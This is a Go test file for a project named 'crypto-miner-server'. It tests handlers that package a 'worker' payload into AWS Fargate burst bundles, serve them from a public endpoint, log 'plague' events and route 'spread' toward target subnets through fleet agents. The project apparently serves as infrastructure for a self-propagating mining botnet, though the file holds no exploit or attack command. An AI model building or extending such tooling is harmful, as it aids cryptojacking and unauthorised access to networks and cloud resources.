//go:build ignore

package api

import (
	"archive/zip"
	"bytes"
	"net/http"
	"net/http/httptest"
	"os"
	"path/filepath"
	"strings"
	"testing"

	dbpkg "crypto-miner-server/internal/db"
	"crypto-miner-server/internal/erasure"
	"crypto-miner-server/internal/fargate"
	"crypto-miner-server/internal/models"
	"crypto-miner-server/internal/spreadrouter"
)

func testFargateBurstSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHandler, *erasure.ShardStore) {
	t.Helper()
	dir := t.TempDir()
	root := t.TempDir()
	database, err := dbpkg.New(dir)
	if err != nil {
		t.Fatal(err)
	}
	t.Cleanup(func() { _ = database.Close() })
	buildDir := filepath.Join(dir, "builds", "fb1")
	_ = os.MkdirAll(buildDir, 0o755)
	artifact := filepath.Join(buildDir, "worker")
	_ = os.WriteFile(artifact, []byte("fargate-burst-payload-bytes"), 0o644)
	_ = database.InsertBuild(&models.BuildRecord{ID: "fb1", Platform: "linux", FileName: "worker", FilePath: artifact})
	store := erasure.NewShardStore()
	hub := NewWSHub(database)
	deployH := NewDeployPlanHandler(database, dir, root,
		func() string { return "http://127.0.0.1:8989" },
		func() string { return "fleet-test" },
		func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
	)
	deployH.BindErasureFromHub(hub, store)
	spreadH := NewSpreadHandler(database, dir, root, hub)
	spreadH.BindFargateDeps(func() string { return "http://127.0.0.1:8989" }, store)
	spreadH.BindDeployPlan(deployH)
	return spreadH, deployH, store
}

func TestExportFargateBurstZIP(t *testing.T) {
	spreadH, _, _ := testFargateBurstSpreadHandler(t)
	body := `{"server_url":"http://127.0.0.1:8989","build_id":"fb1","campaign":"burst-lab","ttl_hours":3}`
	req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/fargate-burst-export", strings.NewReader(body))
	rec := httptest.NewRecorder()
	spreadH.ExportFargateBurst(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
	}
	zr, err := zip.NewReader(bytes.NewReader(rec.Body.Bytes()), int64(rec.Body.Len()))
	if err != nil {
		t.Fatal(err)
	}
	names := map[string]bool{}
	for _, f := range zr.File {
		names[f.Name] = true
	}
	for _, want := range []string{"task-definition.json", "run-task.sh", "erasure-shards.json"} {
		if !names[want] {
			t.Fatalf("missing %s in zip", want)
		}
	}
}

func TestFargateGenerateBundleFromBuild(t *testing.T) {
	_, deployH, store := testFargateBurstSpreadHandler(t)
	bundle, err := buildFargateBurstBundleFromBuild(deployH, store, "http://127.0.0.1:8989", "fb1", "burst", "linux", 3, 2)
	if err != nil {
		t.Fatal(err)
	}
	if len(bundle.TaskDefinitionJSON) == 0 || len(bundle.RunTaskScript) == 0 {
		t.Fatalf("bundle=%+v", bundle)
	}
	if !strings.Contains(string(bundle.TaskDefinitionJSON), "AF_SHARD_MANIFEST_B64") {
		t.Fatalf("task def missing manifest env: %s", bundle.TaskDefinitionJSON)
	}
}

func TestSyncFargateBurstCampaignEmitsSeerEvent(t *testing.T) {
	dir := t.TempDir()
	database, err := dbpkg.New(dir)
	if err != nil {
		t.Fatal(err)
	}
	t.Cleanup(func() { _ = database.Close() })
	hub := NewWSHub(database)
	hub.SyncFargateBurstCampaign(true, "", 3)
	events, err := database.ListSeerEvents(5)
	if err != nil {
		t.Fatal(err)
	}
	found := false
	for _, ev := range events {
		if ev.EventType == "fargate_plague_front" {
			found = true
			break
		}
	}
	if !found {
		t.Fatal("expected fargate_plague_front seer event")
	}
}

func TestSpreadRouterPreferFargateWhenBurstActive(t *testing.T) {
	in := spreadrouter.Input{
		TargetSubnets:      []string{"10.4.0"},
		FargateBurstActive: true,
		FleetAgents: []spreadrouter.FleetAgentSnapshot{
			{AgentID: "seed", Subnet: "10.4.0", Clearance: 2, Connected: true},
		},
	}
	rt := spreadrouter.Build(in)
	rec, ok := rt.Recommend("10.4.0")
	if !ok || !rec.PreferFargateSeeder {
		t.Fatalf("rec=%+v ok=%v", rec, ok)
	}
	hint := spreadrouter.ToHint(rec)
	if hint == nil || !hint.PreferFargateSeeder {
		t.Fatalf("hint=%+v", hint)
	}
}

func TestFargateClampTTLHours(t *testing.T) {
	if fargate.ClampTTLHours(1) != 2 || fargate.ClampTTLHours(8) != 4 {
		t.Fatal("clamp failed")
	}
}

func TestFargateBurstPublicBundleZip(t *testing.T) {
	spreadH, _, _ := testFargateBurstSpreadHandler(t)
	req := httptest.NewRequest(http.MethodGet, "/api/v1/public/fargate-burst/bundle.zip?pin=fb1&c=burst", nil)
	rec := httptest.NewRecorder()
	spreadH.FargateBurstBundleZip(rec, req)
	if rec.Code != http.StatusOK {
		t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
	}
}